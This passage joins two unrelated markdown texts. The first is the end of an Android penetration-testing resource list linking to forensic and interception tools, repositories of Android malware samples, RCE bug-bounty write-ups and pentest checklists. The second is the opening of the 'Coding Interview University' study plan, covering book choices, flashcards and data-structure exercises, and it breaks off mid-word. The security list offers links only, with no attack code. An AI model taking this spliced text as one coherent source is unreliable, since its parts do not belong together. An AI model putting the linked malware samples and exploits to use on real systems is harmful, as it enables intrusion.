PenTesting](https://captmeelo.com/pentest/2019/12/30/lesser-known-tools-for-android-pentest.html) * [android-device-check - a set of scripts to check Android device security configuration](https://github.com/nelenkov/android-device-check) * [apk-mitm - a CLI application that prepares Android APK files for HTTPS inspection](https://github.com/shroudedcode/apk-mitm) * [Andriller - is software utility with a collection of forensic tools for smartphones](https://github.com/den4uk/andriller) * [Dexofuzzy: Android malware similarity clustering method using opcode sequence-Paper](https://www.virusbulletin.com/virusbulletin/2019/11/dexofuzzy-android-malware-similarity-clustering-method-using-opcode-sequence/) * [Chasing the Joker](https://docs.google.com/presentation/d/1sFGAERaNRuEORaH06MmZKeFRqpJo1ol1xFieUa1X_OA/edit#slide=id.p1) * [Side Channel Attacks in 4G and 5G Cellular Networks-Slides](https://i.blackhat.com/eu-19/Thursday/eu-19-Hussain-Side-Channel-Attacks-In-4G-And-5G-Cellular-Networks.pdf) * [Shodan.io-mobile-app for Android](https://github.com/PaulSec/Shodan.io-mobile-app) * [Popular Android Malware 2018](https://github.com/sk3ptre/AndroidMalware_2018) * [Popular Android Malware 2019](https://github.com/sk3ptre/AndroidMalware_2019) * [Popular Android Malware 2020](https://github.com/sk3ptre/AndroidMalware_2020) # Bug Bounty & Writeup * [Hacker101 CTF: Android Challenge Writeups](https://medium.com/bugbountywriteup/hacker101-ctf-android-challenge-writeups-f830a382c3ce) * [Arbitrary code execution on Facebook for Android through download feature](https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f) * [RCE via Samsung Galaxy Store App](https://labs.f-secure.com/blog/samsung-s20-rce-via-samsung-galaxy-store-app/) # Cheat Sheet * [Mobile Application Penetration Testing Cheat Sheet](https://github.com/sh4hin/MobileApp-Pentest-Cheatsheet) * [ADB (Android Debug Bridge) Cheat Sheet](https://www.mobileqaengineer.com/blog/2020/2/4/adb-android-debug-bridge-cheat-sheet) * [Frida Cheatsheet and Code Snippets for Android](https://erev0s.com/blog/frida-code-snippets-for-android/) # Checklist * [Android Pentesting Checklist](https://mobexler.com/checklist.htm#android) * [OWASP Mobile Security Testing Guide](https://github.com/OWASP/owasp-mstg/tree/master/Checklists) # Bug Bounty Report * [List of Android Hackerone disclosed reports](https://github.com/B3nac/Android-Reports-and-Resources) * [How to report security issues](https://source.android.com/security/overview/updates-resources#report-issues)
# Coding Interview University > I originally created this as a short to-do list of study topics for becoming a software engineer, > but it grew to the large list you see today. After going through this study plan, [I got hired > as a Software Development Engineer at Amazon](https://startupnextdoor.com/ive-been-acquired-by-amazon/?src=ciu)! > You probably won't have to study as much as I did. Anyway, everything you need is here. > > I studied about 8-12 hours a day, for several months. This is my story: [Why I studied full-time for 8 months for a Google interview](https://medium.freecodecamp.org/why-i-studied-full-time-for-8-months-for-a-google-interview-cc662ce9bb13) > > **Please Note:** You won't need to study as much as I did. I wasted a lot of time on things I didn't need to know. More info about that below. I'll help you get there without wasting your precious time. > > The items listed here will prepare you well for a technical interview at just about any software company, > including the giants: Amazon, Facebook, Google, and Microsoft. > > *Best of luck to you!* <details> <summary>Translations:</summary> - [اردو - Urdu](translations/README-ur.md) - [中文版本](translations/README-cn.md) - [Tiếng Việt - Vietnamese](translations/README-vi.md) - [Español](translations/README-es.md) - [Português Brasileiro](translations/README-ptbr.md) - [Polish](translations/README-pl.md) - [繁體中文](translations/README-tw.md) - [Japanese (日本語)](translations/README-ja.md) - [Russian](translations/README-ru.md) - [German](translations/README-de.md) - [Bahasa Indonesia](translations/README-id.md) - [ខ្មែរ - Khmer](translations/README-kh.md) - [Uzbek](translations/README-uz.md) - [Bulgarian](translations/README-bg.md) - [বাংলা - Bangla](translations/README-bn.md) </details> <details> <summary>Translations in progress:</summary> - [हिन्दी](https://github.com/jwasham/coding-interview-university/issues/81) - [עברית](https://github.com/jwasham/coding-interview-university/issues/82) - [Arabic](https://github.com/jwasham/coding-interview-university/issues/98) - [Turkish](https://github.com/jwasham/coding-interview-university/issues/90) - [French](https://github.com/jwasham/coding-interview-university/issues/89) - [Українська](https://github.com/jwasham/coding-interview-university/issues/106) - [Korean(한국어)](https://github.com/jwasham/coding-interview-university/issues/118) - [Telugu](https://github.com/jwasham/coding-interview-university/issues/117) - [Thai](https://github.com/jwasham/coding-interview-university/issues/156) - [Greek](https://github.com/jwasham/coding-interview-university/issues/166) - [Malayalam](https://github.com/jwasham/coding-interview-university/issues/239) - [Persian - Farsi](https://github.com/jwasham/coding-interview-university/issues/186) - [Italian](https://github.com/jwasham/coding-interview-university/issues/1030) - [Afrikaans](https://github.com/jwasham/coding-interview-university/issues/1164) </details> <div align="center"> <hr /> <p> <a href="https://github.com/sponsors/jwasham"><strong>Become a sponsor</strong> and support Coding Interview University!</a> </p> <hr /> </div> ## What is it? ![Coding at the whiteboard - from HBO's Silicon Valley](https://d3j2pkmjtin6ou.cloudfront.net/coding-at-the-whiteboard-silicon-valley.png) This is my multi-month study plan for becoming a software engineer for a large company. **Required:** * A little experience with coding (variables, loops, methods/functions, etc) * Patience * Time Note this is a study plan for **software engineering**, not frontend engineering or fullstack development. There are really super roadmaps and coursework for those career paths elsewhere (see https://roadmap.sh/ for more info). There is a lot to learn in a university Computer Science program, but only knowing about 75% is good enough for an interview, so that's what I cover here. For a complete CS self-taught program, the resources for my study plan have been included in Kamran Ahmed's Computer Science Roadmap: https://roadmap.sh/computer-science --- ## Table of Contents ### The Study Plan - [What is it?](#what-is-it) - [Why use it?](#why-use-it) - [How to use it](#how-to-use-it) - [Don't feel you aren't smart enough](#dont-feel-you-arent-smart-enough) - [A Note About Video Resources](#a-note-about-video-resources) - [Choose a Programming Language](#choose-a-programming-language) - [Books for Data Structures and Algorithms](#books-for-data-structures-and-algorithms) - [Interview Prep Books](#interview-prep-books) - [Don't Make My Mistakes](#dont-make-my-mistakes) - [What you Won't See Covered](#what-you-wont-see-covered) - [The Daily Plan](#the-daily-plan) - [Coding Question Practice](#coding-question-practice) - [Coding Problems](#coding-problems) ### Topics of Study - [Algorithmic complexity / Big-O / Asymptotic analysis](#algorithmic-complexity--big-o--asymptotic-analysis) - [Data Structures](#data-structures) - [Arrays](#arrays) - [Linked Lists](#linked-lists) - [Stack](#stack) - [Queue](#queue) - [Hash table](#hash-table) - [More Knowledge](#more-knowledge) - [Binary search](#binary-search) - [Bitwise operations](#bitwise-operations) - [Trees](#trees) - [Trees - Intro](#trees---intro) - [Binary search trees: BSTs](#binary-search-trees-bsts) - [Heap / Priority Queue / Binary Heap](#heap--priority-queue--binary-heap) - balanced search trees (general concept, not details) - traversals: preorder, inorder, postorder, BFS, DFS - [Sorting](#sorting) - selection - insertion - heapsort - quicksort - merge sort - [Graphs](#graphs) - directed - undirected - adjacency matrix - adjacency list - traversals: BFS, DFS - [Even More Knowledge](#even-more-knowledge) - [Recursion](#recursion) - [Dynamic Programming](#dynamic-programming) - [Design Patterns](#design-patterns) - [Combinatorics (n choose k) & Probability](#combinatorics-n-choose-k--probability) - [NP, NP-Complete and Approximation Algorithms](#np-np-complete-and-approximation-algorithms) - [How computers process a program](#how-computers-process-a-program) - [Caches](#caches) - [Processes and Threads](#processes-and-threads) - [Testing](#testing) - [String searching & manipulations](#string-searching--manipulations) - [Tries](#tries) - [Floating Point Numbers](#floating-point-numbers) - [Unicode](#unicode) - [Endianness](#endianness) - [Networking](#networking) - [Final Review](#final-review) ### Getting the Job - [Update Your Resume](#update-your-resume) - [Find a Job](#find-a-job) - [Interview Process & General Interview Prep](#interview-process--general-interview-prep) - [Be thinking of for when the interview comes](#be-thinking-of-for-when-the-interview-comes) - [Have questions for the interviewer](#have-questions-for-the-interviewer) - [Once You've Got The Job](#once-youve-got-the-job) **---------------- Everything below this point is optional ----------------** ### Optional Extra Topics & Resources - [Additional Books](#additional-books) - [System Design, Scalability, Data Handling](#system-design-scalability-data-handling) (if you have 4+ years experience) - [Additional Learning](#additional-learning) - [Compilers](#compilers) - [Emacs and vi(m)](#emacs-and-vim) - [Unix command line tools](#unix-command-line-tools) - [Information theory](#information-theory-videos) - [Parity & Hamming Code](#parity--hamming-code-videos) - [Entropy](#entropy) - [Cryptography](#cryptography) - [Compression](#compression) - [Computer Security](#computer-security) - [Garbage collection](#garbage-collection) - [Parallel Programming](#parallel-programming) - [Messaging, Serialization, and Queueing Systems](#messaging-serialization-and-queueing-systems) - [A*](#a) - [Fast Fourier Transform](#fast-fourier-transform) - [Bloom Filter](#bloom-filter) - [HyperLogLog](#hyperloglog) - [Locality-Sensitive Hashing](#locality-sensitive-hashing) - [van Emde Boas Trees](#van-emde-boas-trees) - [Augmented Data Structures](#augmented-data-structures) - [Balanced search trees](#balanced-search-trees) - AVL trees - Splay trees - Red/black trees - 2-3 search trees - 2-3-4 Trees (aka 2-4 trees) - N-ary (K-ary, M-ary) trees - B-Trees - [k-D Trees](#k-d-trees) - [Skip lists](#skip-lists) - [Network Flows](#network-flows) - [Disjoint Sets & Union Find](#disjoint-sets--union-find) - [Math for Fast Processing](#math-for-fast-processing) - [Treap](#treap) - [Linear Programming](#linear-programming-videos) - [Geometry, Convex hull](#geometry-convex-hull-videos) - [Discrete math](#discrete-math) - [Additional Detail on Some Subjects](#additional-detail-on-some-subjects) - [Video Series](#video-series) - [Computer Science Courses](#computer-science-courses) - [Papers](#papers) --- ## Why use it? If you want to work as a software engineer for a large company, these are the things you have to know. If you missed out on getting a degree in computer science, like I did, this will catch you up and save four years of your life. When I started this project, I didn't know a stack from a heap, didn't know Big-O anything, or anything about trees, or how to traverse a graph. If I had to code a sorting algorithm, I can tell ya it would have been terrible. Every data structure I had ever used was built into the language, and I didn't know how they worked under the hood at all. I never had to manage memory unless a process I was running would give an "out of memory" error, and then I'd have to find a workaround. I used a few multidimensional arrays in my life and thousands of associative arrays, but I never created data structures from scratch. It's a long plan. It may take you months. If you are familiar with a lot of this already it will take you a lot less time. ## How to use it Everything below is an outline, and you should tackle the items in order from top to bottom. I'm using GitHub's special markdown flavor, including tasks lists to track progress. - [More about GitHub-flavored markdown](https://guides.github.com/features/mastering-markdown/#GitHub-flavored-markdown) ### If you don't want to use git On this page, click the Code button near the top, then click "Download ZIP". Unzip the file and you can work with the text files. If you're open in a code editor that understands markdown, you'll see everything formatted nicely. ![How to download the repo as a zip file](https://d3j2pkmjtin6ou.cloudfront.net/how-to-download-as-zip.png) ### If you're comfortable with git Create a new branch so you can check items like this, just put an x in the brackets: [x] 1. ***Fork the GitHub repo:*** `https://github.com/jwasham/coding-interview-university` by clicking on the Fork button. ![Fork the GitHub repo](https://d3j2pkmjtin6ou.cloudfront.net/fork-button.png) 1. Clone to your local repo: ``` git clone https://github.com/<YOUR_GITHUB_USERNAME>/coding-interview-university.git cd coding-interview-university git remote add upstream https://github.com/jwasham/coding-interview-university.git git remote set-url --push upstream DISABLE # so that you don't push your personal progress back to the original repo ``` 1. Mark all boxes with X after you completed your changes: ``` git commit -am "Marked personal progress" git pull upstream main # keep your fork up-to-date with changes from the original repo git push # just pushes to your fork ``` ## Don't feel you aren't smart enough - Successful software engineers are smart, but many have an insecurity that they aren't smart enough. - Following videos may help you overcome this insecurity: - [The myth of the Genius Programmer](https://www.youtube.com/watch?v=0SARbwvhupQ) - [It's Dangerous to Go Alone: Battling the Invisible Monsters in Tech](https://www.youtube.com/watch?v=1i8ylq4j_EY) ## A Note About Video Resources Some videos are available only by enrolling in a Coursera or EdX class. These are called MOOCs. Sometimes the classes are not in session so you have to wait a couple of months, so you have no access. It would be great to replace the online course resources with free and always-available public sources, such as YouTube videos (preferably university lectures), so that you people can study these anytime, not just when a specific online course is in session. ## Choose a Programming Language You'll need to choose a programming language for the coding interviews you do, but you'll also need to find a language that you can use to study computer science concepts. Preferably the language would be the same, so that you only need to be proficient in one. ### For this Study Plan When I did the study plan, I used 2 languages for most of it: C and Python * C: Very low level. Allows you to deal with pointers and memory allocation/deallocation, so you feel the data structures and algorithms in your bones. In higher level languages like Python or Java, these are hidden from you. In day to day work, that's terrific, but when you're learning how these low-level data structures are built, it's great to feel close to the metal. - C is everywhere. You'll see examples in books, lectures, videos, *everywhere* while you're studying. - [The C Programming Language, 2nd Edition](https://www.amazon.com/Programming-Language-Brian-W-Kernighan/dp/0131103628) - This is a short book, but it will give you a great handle on the C language and if you practice it a little you'll quickly get proficient. Understanding C helps you understand how programs and memory work. - You don't need to go super deep in the book (or even finish it). Just get to where you're comfortable reading and writing in C. - [Answers to questions in the book](https://github.com/lekkas/c-algorithms) * Python: Modern and very expressive, I learned it because it's just super useful and also allows me to write less code in an interview. This is my preference. You do what you like, of course. You may not need it, but here are some sites for learning a new language: - [Exercism](https://exercism.org/tracks) - [Codewars](http://www.codewars.com) - [HackerEarth](https://www.hackerearth.com/for-developers/) - [Scaler Topics (Java, C++)](https://www.scaler.com/topics/) ### For your Coding Interview You can use a language you are comfortable in to do the coding part of the interview, but for large companies, these are solid choices: - C++ - Java - Python You could also use these, but read around first. There may be caveats: - JavaScript - Ruby Here is an article I wrote about choosing a language for the interview: [Pick One Language for the Coding Interview](https://startupnextdoor.com/important-pick-one-language-for-the-coding-interview/). This is the original article my post was based on: [Choosing a Programming Language for Interviews](https://web.archive.org/web/20210516054124/http://blog.codingforinterviews.com/best-programming-language-jobs/) You need to be very comfortable in the language and be knowledgeable. Read more about choices: - [Choose the Right Language for Your Coding Interview](http://www.byte-by-byte.com/choose-the-right-language-for-your-coding-interview/) [See language-specific resources here](programming-language-resources.md) ## Books for Data Structures and Algorithms This book will form your foundation for computer science. Just choose one, in a language that you will be comfortable with. You'll be doing a lot of reading and coding. ### C - [Algorithms in C, Parts 1-5 (Bundle), 3rd Edition](https://www.amazon.com/Algorithms-Parts-1-5-Bundle-Fundamentals/dp/0201756080) - Fundamentals, Data Structures, Sorting, Searching, and Graph Algorithms ### Python - [Data Structures and Algorithms in Python](https://www.amazon.com/Structures-Algorithms-Python-Michael-Goodrich/dp/1118290275/) - by Goodrich, Tamassia, Goldwasser - I loved this book. It covered everything and more. - Pythonic code - my glowing book report: https://startupnextdoor.com/book-report-data-structures-and-algorithms-in-python/ ### Java Your choice: - Goodrich, Tamassia, Goldwasser - [Data Structures and Algorithms in Java](https://www.amazon.com/Data-Structures-Algorithms-Michael-Goodrich/dp/1118771338/) - Sedgewick and Wayne: - [Algorithms](https://www.amazon.com/Algorithms-4th-Robert-Sedgewick/dp/032157351X/) - Free Coursera course that covers the book (taught by the authors!): - [Algorithms I](https://www.coursera.org/learn/algorithms-part1) - [Algorithms II](https://www.coursera.org/learn/algorithms-part2) ### C++ Your choice: - Goodrich, Tamassia, and Mount - [Data Structures and Algorithms in C++, 2nd Edition](https://www.amazon.com/Data-Structures-Algorithms-Michael-Goodrich/dp/0470383275) - Sedgewick and Wayne - [Algorithms in C++, Parts 1-4: Fundamentals, Data Structure, Sorting, Searching](https://www.amazon.com/Algorithms-Parts-1-4-Fundamentals-Structure/dp/0201350882/) - [Algorithms in C++ Part 5: Graph Algorithms](https://www.amazon.com/Algorithms-Part-Graph-3rd-Pt-5/dp/0201361183/) ## Interview Prep Books You don't need to buy a bunch of these. Honestly "Cracking the Coding Interview" is probably enough, but I bought more to give myself more practice. But I always do too much. I bought both of these. They gave me plenty of practice. - [Programming Interviews Exposed: Coding Your Way Through the Interview, 4th Edition](https://www.amazon.com/Programming-Interviews-Exposed-Through-Interview/dp/111941847X/) - Answers in C++ and Java - This is a good warm-up for Cracking the Coding Interview - Not too difficult. Most problems may be easier than what you'll see in an interview (from what I've read) - [Cracking the Coding Interview, 6th Edition](http://www.amazon.com/Cracking-Coding-Interview-6th-Programming/dp/0984782850/) - answers in Java ### If you have tons of extra time: Choose one: - [Elements of Programming Interviews (C++ version)](https://www.amazon.com/Elements-Programming-Interviews-Insiders-Guide/dp/1479274836) - [Elements of Programming Interviews in Python](https://www.amazon.com/Elements-Programming-Interviews-Python-Insiders/dp/1537713949/) - [Elements of Programming Interviews (Java version)](https://www.amazon.com/Elements-Programming-Interviews-Java-Insiders/dp/1517435803/) - [Companion Project - Method Stub and Test Cases for Every Problem in the Book](https://github.com/gardncl/elements-of-programming-interviews) ## Don't Make My Mistakes This list grew over many months, and yes, it got out of hand. Here are some mistakes I made so you'll have a better experience. And you'll save months of time. ### 1. You Won't Remember it All I watched hours of videos and took copious notes, and months later there was much I didn't remember. I spent 3 days going through my notes and making flashcards, so I could review. I didn't need all of that knowledge. Please, read so you won't make my mistakes: [Retaining Computer Science Knowledge](https://startupnextdoor.com/retaining-computer-science-knowledge/). ### 2. Use Flashcards To solve the problem, I made a little flashcards site where I could add flashcards of 2 types: general and code. Each card has different formatting. I made a mobile-first website, so I could review on my phone or tablet, wherever I am. Make your own for free: - [Flashcards site repo](https://github.com/jwasham/computer-science-flash-cards) **I DON'T RECOMMEND using my flashcards.** There are too many and most of them are trivia that you don't need. But if you don't want to listen to me, here you go: - [My flash cards database (1200 cards)](https://github.com/jwasham/computer-science-flash-cards/blob/main/cards-jwasham.db): - [My flash cards database (extreme - 1800 cards)](https://github.com/jwasham/computer-science-flash-cards/blob/main/cards-jwasham-extreme.db): Keep in mind I went overboard and have cards covering everything from assembly language and Python trivia to machine learning and statistics. It's way too much for what's required. **Note on flashcards:** The first time you recognize you know the answer, don't mark it as known. You have to see the same card and answer it several times correctly before you really know it. Repetition will put that knowledge deeper in your brain. An alternative to using my flashcard site is [Anki](http://ankisrs.net/), which has been recommended to me numerous times. It uses a repetition system to help you remember. It's user-friendly, available on all platforms and has a cloud sync system. It costs $25 on iOS but is free on other platforms. My flashcard database in Anki format: https://ankiweb.net/shared/info/25173560 (thanks [@xiewenya](https://github.com/xiewenya)). Some students have mentioned formatting issues with white space that can be fixed by doing the following: open deck, edit card, click cards, select the "styling" radio button, add the member "white-space: pre;" to the card class. ### 3. Do Coding Interview Questions While You're Learning THIS IS VERY IMPORTANT. Start doing coding interview questions while you're learning data structures and algorithms. You need to apply what you're learning to solving problems, or you'll forget. I made this mistake. Once you've learned a topic, and feel somewhat comfortable with it, for example, **linked lists**: 1. Open one of the [coding interview books](#interview-prep-books) (or coding problem websites, listed below) 1. Do 2 or 3 questions regarding linked lists. 1. Move on to the next learning topic. 1. Later, go back and do another 2 or 3 linked list problems. 1. Do this with each new topic you learn. **Keep doing problems while you're learning all this stuff, not after.** You're not being hired for knowledge, but how you apply the knowledge. There are many resources for this, listed below. Keep going. ### 4. Focus There are a lot of distractions that can take up valuable time. Focus and concentration are hard. Turn on some music without lyrics and you'll be able to focus pretty well. ## What you won't see covered These are prevalent technologies but not part of this study plan: - Javascript - HTML, CSS, and other front-end technologies - SQL ## The Daily Plan This course goes over a lot of subjects. Each will probably take you a few days, or maybe even a week or more. It depends on your schedule. Each day, take the next subject in the list, watch some videos about that subject, and then write an implementation of that data structure or algorithm in the language you chose for this course. You can see my code here: - [C](https://github.com/jwasham/practice-c) - [C++](https://github.com/jwasham/practice-cpp) - [Python](https://github.com/jwasham/practice-python) You don't need to memorize every algorithm. You just need to be able to understand it enough to be able to write your own implementation. ## Coding Question Practice Why is this here? I'm not ready to interview. [Then go back and read this.](#3-do-coding-interview-questions-while-youre-learning) Why you need to practice doing programming problems: - Problem recognition, and where the right data structures and algorithms fit in - Gathering requirements for the problem - Talking your way through the problem like you will in the interview - Coding on a whiteboard or paper, not a computer - Coming up with time and space complexity for your solutions (see Big-O below) - Testing your solutions There is a great intro for methodical, communicative problem solving in an interview. You'll get this from the programming interview books, too, but I found this outstanding: [Algorithm design canvas](http://www.hiredintech.com/algorithm-design/) Write code on a whiteboard or paper, not a computer. Test with some sample inputs. Then type it and test it out on a computer. If you don't have a whiteboard at home, pick up a large drawing pad from an art store. You can sit on the couch and practice. This is my "sofa whiteboard". I added the pen in the photo just for scale. If you use a pen, you'll wish you could erase. Gets messy quick. **I use a pencil and eraser.** ![my sofa whiteboard](https://d3j2pkmjtin6ou.cloudfront.net/art_board_sm_2.jpg) **Coding question practice is not about memorizing answers to programming problems.** ## Coding Problems Don't forget your key coding interview books [here](#interview-prep-books). Solving Problems: - [How to Find a Solution](https://www.topcoder.com/thrive/articles/How%20To%20Find%20a%20Solution) - [How to Dissect a Topcoder Problem Statement](https://www.topcoder.com/thrive/articles/How%20To%20Dissect%20a%20Topcoder%20Problem%20Statement%20Content) Coding Interview Question Videos: - [IDeserve (88 videos)](https://www.youtube.com/playlist?list=PLamzFoFxwoNjPfxzaWqs7cZGsPYy0x_gI) - [Tushar Roy (5 playlists)](https://www.youtube.com/user/tusharroy2525/playlists?shelf_id=2&view=50&sort=dd) - Super for walkthroughs of problem solutions - [Nick White - LeetCode Solutions (187 Videos)](https://www.youtube.com/playlist?list=PLU_sdQYzUj2keVENTP0a5rdykRSgg9Wp-) - Good explanations of solution and the code - You can watch several in a short time - [FisherCoder - LeetCode Solutions](https://youtube.com/FisherCoder) Challenge/Practice sites: - [LeetCode](https://leetcode.com/) - My favorite coding problem site. It's worth the subscription money for the 1-2 months you'll likely be preparing. - See Nick White and FisherCoder Videos above for code walk-throughs. - [HackerRank](https://www.hackerrank.com/) - [TopCoder](https://www.topcoder.com/) - [Codeforces](https://codeforces.com/) - [Codility](https://codility.com/programmers/) - [Geeks for Geeks](https://practice.geeksforgeeks.org/explore/?page=1) - [AlgoExpert](https://www.algoexpert.io/product) - Created by Google engineers, this is also an excellent resource to hone your skills. - [Project Euler](https://projecteuler.net/) - very math focused, and not really suited for coding interviews ## Let's Get Started Alright, enough talk, let's learn! But don't forget to do coding problems from above while you learn! ## Algorithmic complexity / Big-O / Asymptotic analysis - Nothing to implement here, you're just watching videos and taking notes! Yay! - There are a lot of videos here. Just watch enough until you understand it. You can always come back and review. - Don't worry if you don't understand all the math behind it. - You just need to understand how to express the complexity of an algorithm in terms of Big-O. - [ ] [Harvard CS50 - Asymptotic Notation (video)](https://www.youtube.com/watch?v=iOq5kSKqeR4) - [ ] [Big O Notations (general quick tutorial) (video)](https://www.youtube.com/watch?v=V6mKVRU1evU) - [ ] [Big O Notation (and Omega and Theta) - best mathematical explanation (video)](https://www.youtube.com/watch?v=ei-A_wy5Yxw&index=2&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN) - [ ] [Skiena (video)](https://www.youtube.com/watch?v=z1mkCe3kVUA) - [ ] [UC Berkeley Big O (video)](https://archive.org/details/ucberkeley_webcast_VIS4YDpuP98) - [ ] [Amortized Analysis (video)](https://www.youtube.com/watch?v=B3SpQZaAZP4&index=10&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN) - [ ] TopCoder (includes recurrence relations and master theorem): - [Computational Complexity: Section 1](https://www.topcoder.com/thrive/articles/Computational%20Complexity%20part%20one) - [Computational Complexity: Section 2](https://www.topcoder.com/thrive/articles/Computational%20Complexity%20part%20two) - [ ] [Cheat sheet](http://bigocheatsheet.com/) - [ ] [[Review] Big-O notation in 5 minutes (video)](https://youtu.be/__vX2sjlpXU) Well, that's about enough of that. When you go through "Cracking the Coding Interview", there is a chapter on this, and at the end there is a quiz to see if you can identify the runtime complexity of different algorithms. It's a super review and test. ## Data Structures - ### Arrays - [ ] About Arrays: - [Arrays CS50 Harvard University](https://www.youtube.com/watch?v=tI_tIZFyKBw&t=3009s) - [Arrays (video)](https://www.coursera.org/lecture/data-structures/arrays-OsBSF) - [UC Berkeley CS61B - Linear and Multi-Dim Arrays (video)](https://archive.org/details/ucberkeley_webcast_Wp8oiO_CZZE) (Start watching from 15m 32s) - [Dynamic Arrays (video)](https://www.coursera.org/lecture/data-structures/dynamic-arrays-EwbnV) - [Jagged Arrays (video)](https://www.youtube.com/watch?v=1jtrQqYpt7g) - [ ] Implement a vector (mutable array with automatic resizing): - [ ] Practice coding using arrays and pointers, and pointer math to jump to an index instead of using indexing. - [ ] New raw data array with allocated memory - can allocate int array under the hood, just not use its features - start with 16, or if starting number is greater, use power of 2 - 16, 32, 64, 128 - [ ] size() - number of items - [ ] capacity() - number of items it can hold - [ ] is_empty() - [ ] at(index) - returns item at given index, blows up if index out of bounds - [ ] push(item) - [ ] insert(index, item) - inserts item at index, shifts that index's value and trailing elements to the right - [ ] prepend(item) - can use insert above at index 0 - [ ] pop() - remove from end, return value - [ ] delete(index) - delete item at index, shifting all trailing elements left - [ ] remove(item) - looks for value and removes index holding it (even if in multiple places) - [ ] find(item) - looks for value and returns first index with that value, -1 if not found - [ ] resize(new_capacity) // private function - when you reach capacity, resize to double the size - when popping an item, if size is 1/4 of capacity, resize to half - [ ] Time - O(1) to add/remove at end (amortized for allocations for more space), index, or update - O(n) to insert/remove elsewhere - [ ] Space - contiguous in memory, so proximity helps performance - space needed = (array capacity, which is >= n) * size of item, but even if 2n, still O(n) - ### Linked Lists - [ ] Description: - [ ] [Linked Lists CS50 Harvard University](https://www.youtube.com/watch?v=2T-A_GFuoTo&t=650s) - this builds the intuition. - [ ] [Singly Linked Lists (video)](https://www.coursera.org/lecture/data-structures/singly-linked-lists-kHhgK) - [ ] [CS 61B - Linked Lists 1 (video)](https://archive.org/details/ucberkeley_webcast_htzJdKoEmO0) - [ ] [CS 61B - Linked Lists 2 (video)](https://archive.org/details/ucberkeley_webcast_-c4I3gFYe3w) - [ ] [[Review] Linked lists in 4 minutes (video)](https://youtu.be/F8AbOfQwl1c) - [ ] [C Code (video)](https://www.youtube.com/watch?v=QN6FPiD0Gzo) - not the whole video, just portions about Node struct and memory allocation - [ ] Linked List vs Arrays: - [Core Linked Lists Vs Arrays (video)](https://www.coursera.org/lecture/data-structures-optimizing-performance/core-linked-lists-vs-arrays-rjBs9) - [In The Real World Linked Lists Vs Arrays (video)](https://www.coursera.org/lecture/data-structures-optimizing-performance/in-the-real-world-lists-vs-arrays-QUaUd) - [ ] [Why you should avoid linked lists (video)](https://www.youtube.com/watch?v=YQs6IC-vgmo) - [ ] Gotcha: you need pointer to pointer knowledge: (for when you pass a pointer to a function that may change the address where that pointer points) This page is just to get a grasp on ptr to ptr. I don't recommend this list traversal style. Readability and maintainability suffer due to cleverness. - [Pointers to Pointers](https://www.eskimo.com/~scs/cclass/int/sx8.html) - [ ] Implement (I did with tail pointer & without): - [ ] size() - returns number of data elements in list - [ ] empty() - bool returns true if empty - [ ] value_at(index) - returns the value of the nth item (starting at 0 for first) - [ ] push_front(value) - adds an item to the front of the list - [ ] pop_front() - remove front item and return its value - [ ] push_back(value) - adds an item at the end - [ ] pop_back() - removes end item and returns its value - [ ] front() - get value of front item - [ ] back() - get value of end item - [ ] insert(index, value) - insert value at index, so current item at that index is pointed to by new item at index - [ ] erase(index) - removes node at given index - [ ] value_n_from_end(n) - returns the value of the node at nth position from the end of the list - [ ] reverse() - reverses the list - [ ] remove_value(value) - removes the first item in the list with this value - [ ] Doubly-linked List - [Description (video)](https://www.coursera.org/lecture/data-structures/doubly-linked-lists-jpGKD) - No need to implement - ### Stack - [ ] [Stacks (video)](https://www.coursera.org/lecture/data-structures/stacks-UdKzQ) - [ ] [[Review] Stacks in 3 minutes (video)](https://youtu.be/KcT3aVgrrpU) - [ ] Will not implement. Implementing with array is trivial - ### Queue - [ ] [Queue (video)](https://www.coursera.org/lecture/data-structures/queues-EShpq) - [ ] [Circular buffer/FIFO](https://en.wikipedia.org/wiki/Circular_buffer) - [ ] [[Review] Queues in 3 minutes (video)](https://youtu.be/D6gu-_tmEpQ) - [ ] Implement using linked-list, with tail pointer: - enqueue(value) - adds value at position at tail - dequeue() - returns value and removes least recently added element (front) - empty() - [ ] Implement using fixed-sized array: - enqueue(value) - adds item at end of available storage - dequeue() - returns value and removes least recently added element - empty() - full() - [ ] Cost: - a bad implementation using linked list where you enqueue at head and dequeue at tail would be O(n) because you'd need the next to last element, causing a full traversal each dequeue - enqueue: O(1) (amortized, linked list and array [probing]) - dequeue: O(1) (linked list and array) - empty: O(1) (linked list and array) - ### Hash table - [ ] Videos: - [ ] [Hashing with Chaining (video)](https://www.youtube.com/watch?v=0M_kIqhwbFo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=8) - [ ] [Table Doubling, Karp-Rabin (video)](https://www.youtube.com/watch?v=BRO7mVIFt08&index=9&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [Open Addressing, Cryptographic Hashing (video)](https://www.youtube.com/watch?v=rvdJDijO2Ro&index=10&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [PyCon 2010: The Mighty Dictionary (video)](https://www.youtube.com/watch?v=C4Kc8xzcA68) - [ ] [PyCon 2017: The Dictionary Even Mightier (video)](https://www.youtube.com/watch?v=66P5FMkWoVU) - [ ] [(Advanced) Randomization: Universal & Perfect Hashing (video)](https://www.youtube.com/watch?v=z0lJ2k0sl1g&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=11) - [ ] [(Advanced) Perfect hashing (video)](https://www.youtube.com/watch?v=N0COwN14gt0&list=PL2B4EEwhKD-NbwZ4ezj7gyc_3yNrojKM9&index=4) - [ ] [[Review] Hash tables in 4 minutes (video)](https://youtu.be/knV86FlSXJ8) - [ ] Online Courses: - [ ] [Core Hash Tables (video)](https://www.coursera.org/lecture/data-structures-optimizing-performance/core-hash-tables-m7UuP) - [ ] [Data Structures (video)](https://www.coursera.org/learn/data-structures/home/week/4) - [ ] [Phone Book Problem (video)](https://www.coursera.org/lecture/data-structures/phone-book-problem-NYZZP) - [ ] distributed hash tables: - [Instant Uploads And Storage Optimization In Dropbox (video)](https://www.coursera.org/lecture/data-structures/instant-uploads-and-storage-optimization-in-dropbox-DvaIb) - [Distributed Hash Tables (video)](https://www.coursera.org/lecture/data-structures/distributed-hash-tables-tvH8H) - [ ] Implement with array using linear probing - hash(k, m) - m is size of hash table - add(key, value) - if key already exists, update value - exists(key) - get(key) - remove(key) ## More Knowledge - ### Binary 